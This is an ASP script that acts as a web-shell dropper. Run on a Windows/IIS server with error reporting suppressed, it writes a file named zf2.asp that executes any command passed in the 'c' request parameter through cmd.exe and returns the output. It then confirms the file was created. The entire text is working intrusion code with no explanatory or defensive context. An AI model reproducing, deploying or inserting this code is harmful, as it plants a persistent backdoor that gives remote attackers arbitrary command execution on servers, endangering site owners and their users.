<% On Error Resume Next Response.Clear Dim fs,ts,cd Set fs=Server.CreateObject("Scripting.FileSystemObject") cd="<" & Chr(37) & "On Error Resume Next:Response.Write ""SHELL|"":Set o=Server.CreateObject(""WScript.Shell""):Set e=o.Exec(""cmd.exe /c ""&Request(""c"")):Response.Write e.StdOut.ReadAll():Response.Write ""|END""" & Chr(37) & ">" Set ts=fs.CreateTextFile(Server.MapPath("zf2.asp"),True) ts.Write cd ts.Close Response.Write "S1|" & fs.FileExists(Server.MapPath("zf2.asp")) Response.End %>